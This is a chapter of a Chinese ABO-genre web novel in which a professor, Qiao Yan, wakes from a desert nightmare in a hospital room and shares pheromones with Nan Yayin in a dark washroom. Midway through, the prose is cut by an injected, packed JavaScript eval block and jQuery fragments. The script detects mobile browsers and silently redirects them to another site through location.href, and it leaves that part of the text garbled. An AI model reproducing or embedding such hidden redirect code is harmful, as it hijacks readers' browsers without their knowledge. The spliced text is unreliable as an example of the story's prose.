乔宴还能梦到什么,闭眼就是那场在黄沙中的覆灭。
沙漠和大海一样让人迷失方向,天空中不止一个太阳,没有黑夜,连时间都迷失了。
“这里不适合人生存,但要是做猫砂盆的话倒是正合适。”
她听见有人在开玩笑,随后是挥着锋利爪刃的怪物,她的右腿是被波及砍断的。乔宴从来没有见过那样平齐的刀口,仿佛那里本来就没有右腿。
梦,又是梦。
乔宴已经知道接下来的结局会是什么,哪怕在梦里她也保持清醒。
她睁开眼睛,看见南雅音就在身前,额头上传来一阵温热。
“怎么了?”乔宴看着他,“我没有发烧。”
被当场抓住的南雅音一脸镇定地收回手,“你别多想,我只是看你很不舒服的样子。”
“很不舒服?”乔宴想看外面的天都已经黑透了,“我睡了很久吗?”
“没有很久。”南雅音竖起三根手指,“就睡了3小时。”
“你要吃饭吗?”南雅音在她睡觉的时候又点了一份饭,反正算在她的账上根本不心疼。
乔宴不饿,但看见他端过来了就说:“那就吃一点。”
医院的菜并不会让人产生食欲,但现在身边两双眼睛都看着她,“这是怎么了?”
她现在感觉自己正身在观览台的玻璃罩里。
南雅音没回她,南书音只是靠在病床扶手架子上看她。
“有什么事情可以直接说的。”乔宴放下筷子,“是我刚刚睡觉的时候做什么了吗?”
南雅音仍旧没回话,南书音转回身躺在病床上。
一定发生什么了,难道她说梦话?还是怎么,梦游?因为家里只有她和小露,在学校的时候她从来不会睡觉,除了最开始在远征途中,她还从来没在人前睡着。
“不是什么事,你别着急。”南雅音难得说两句安慰人的话,谁知道这种话让乔宴更奇怪,疑心自己一定是做了什么更难想象的事情。
“我放信息素了?”睡觉时她更没法控制那些信息素,她习惯性摸那块地方,也许漏了一点但是不是很多,空气中的味道并没有她想象的明显。
“我说梦话了吗?”南雅音越是不说乔宴越是想知道究竟发生了什么事情氛围能变得这么奇怪。
“也不是,都不是。”南雅音有些尴尬,见她这么慌张他还是告知,“只是,抓了下我的手。”
乔宴最开始闭上眼睡觉,南雅音就很好奇的凑上去看。发现原来有钱人睡觉也是两只眼睛合上,没有什么更多独特的地方,比如一边睡一边能吐钱这样。
他接触的人不多,能看到人睡着就更少,何况是乔宴这种几乎有恩于他的人了。
他发现乔宴长得很好看,哪怕是睡着了也不多逊色,纤长浓密的睫毛和高挺的鼻梁。
不难理解为什么他们学校论坛里的人会发出,“乔宴长得确实不赖”这样的话。
南雅音想摸一下她的睫毛,毕竟它在那颤动,是最好的诱惑。
就摸一下,看看是不是和他的睫毛触感一样,就摸一下。
正好转身过来的南书音看见她哥哥鬼鬼祟祟的,都忘记叫他别这样。
太专注做坏事就会忘记其他事情,他离得乔宴很近,乔宴伸手他也没感觉到,直到另外一只放在沙发上的手被她抓住他才反应过来大事不妙。
但是乔宴没醒,乔宴还睡着呢。南雅音见她睡得不沉,眼皮地下那双眼珠子在乱动,手上抓握的力道越来越大。
南雅音可不想今天再来一场手术,他必须得弄醒乔宴。他是想推她的,但是临到头还是胆大包天的去摸了下她的眼睫毛。
很好,一模一样的感觉,下一秒乔宴就醒了,看见他把手放在她额头上。
“你在做什么?”
乔宴没意识到,她松开了抓住南雅音的手,这下南雅音才能开始胡说八道。
不过南雅音是不会个告诉她自己做了什么的,他只会把自己的手腕展示出来,“你看。”
南雅音皮肤很白,哪怕是捏一下都能留下红色的印子,乔宴握得很重,几道红痕显得更为狰狞,短时间没法消下去。
乔宴很想捂住脑袋,“抱歉,你一定很痛。”
“这个其实也没有那么。”虽然是他先上手的,这就肯定不能给她知道,导致南雅音接受道歉就接受得很不走心了。
“我这就回去了。”乔宴其实也没明白自己为什么非要来这一趟,如果还在学校宿舍的话可能就没有这些事情发生。
她这边不安,那边南雅音觉得也不好,脑子还没反应过来先张嘴,“等一下。”
乔宴还只是站起来,听他这么说又摸着沙发坐下来。
“怎么了?”
南雅音看了眼妹妹,把椅子拉近了小声说:“你就只是过来一下吗?”
乔宴疑惑地看他,不然还能有什么事?
“不要,信息素吗?”南雅音有心想抹掉自己刚做坏事的印象,但他难以启齿,偏偏这种话最近老是要提上两句,乔宴看起来又是个完全不上道的,总要他先说。
乔宴闭上嘴,理性来看她现在应该回去,不管是处理教案还是写报告。可是感性来看,她确实想要,是很舒服,但这种话不能明着说。
乔宴不说话,南雅音也没说话,然后又一前一后的往病房的洗手间走。
好奇怪啊,真的好奇怪,乔宴不住地想,信息素这种人人都有的东西真的需要讳莫如深到这个地步吗?
她只是装备科教授,对信息素或者特殊期这些东西的了解还没有一个青少年多。
等到她走进洗手间,屋子里已经都是鼠尾草的清新味道了。
她轻轻合上门,回头问道:“开着灯吗?”
高级病房的洗手间设备齐全,但不会太大,关上门后就是一个狭小的密闭空间。
乔宴靠着门背,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491661|185897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其实她背对着南雅音就好,但是,不太礼貌。
“关,关掉。”南雅音进来前没多想,等到乔宴也进来的时候才觉得这个地方小的可怕,甚至没什么能躲的。
室内的灯光如他所想的被关掉,黑暗使得他们的听觉更加敏锐,几乎到了落针可闻的地步。
乔宴能听见南雅音在呼吸,能听见自己的心跳声,她靠着门不敢动。
“不说说话吗?”南雅音问她,“你不觉得尴尬吗?”
尴尬吗?乔宴听出他的声音有些抖,究竟是害怕还是尴尬。
“你想说什么?”乔宴问他,从她起头的话永远没什么好聊的。
南雅音不想要主动权,毕竟他离她的世界太远,说得出什么有营养的东西,但他想也许乔宴不会拒绝。
“蛋糕好吃吗?”南雅音问她。
“好吃。”乔宴想了想回道,“甜味很容易让人感到幸福,是能吃进嘴里的实感。”
“你吃过很多?”南雅音认可她,他倒是吃的不多,买蛋糕的钱不如用来买菜,要感觉幸福不如先活下去。
乔宴在黑暗中摇头,“没有,只是偶尔会吃。”
“你的信息素是奶油。”南雅音说。
乔宴无奈地笑了下,没有发出多大的声音,像是呼吸一样。
“其实很好闻,甜甜的。”乔宴这次终于管住了自己的信息素,他这下一点都没闻到。
“我知道。”乔宴摸了摸后颈,“虽然不像Alpha,但我不讨厌。”
南雅音这次想闻,希望她能漏一点,偏偏乔宴管得很好,真是一点都不给。洗手间里全是他无趣的信息素,他自己都闻习惯了。
为什么不放一点呢?南雅音想,不是说管不住吗?想着想着他又加了把劲,信息素的味道更加浓郁。
乔宴现在很快乐,她仿佛置身自然,周身都是草木的清新味道,还夹杂着一些柠檬的味道。面前的Omega好像有些不知轻重,觉得她是神仙,可以完全阻挡本能。
她捂着腺体,想着不能让它漏出来。她紧握着门把,沉浸在失神的快乐里,什么都想不起来。
直到她感觉到信息素又悄悄溢出,从她指缝间偷偷溜走,她好像听到一声哼笑声,但这绝不是她发出的。
不能继续下去了,乔宴觉得下次得严格处理接受信息素这件事情,控制在一段时间,要求他不能太过分地释放信息素。
“可以了,南雅音。”乔宴摸到开关,“我要开灯了。”
南雅音听见她的话了,真是不公平,明明他喜欢奶油香气,他全然不记得前面自己是多生气地和乔宴说她的信息素太张扬。
“好。”南雅音收拾了下神情,灯光一亮,他闭了下眼睛。
等到他再睁开眼,乔宴已经从洗手间走出去了。
又是她先走吗?
南雅音想开门的时候乔宴却在外面和他说:“我先回去了,你们早点休息。”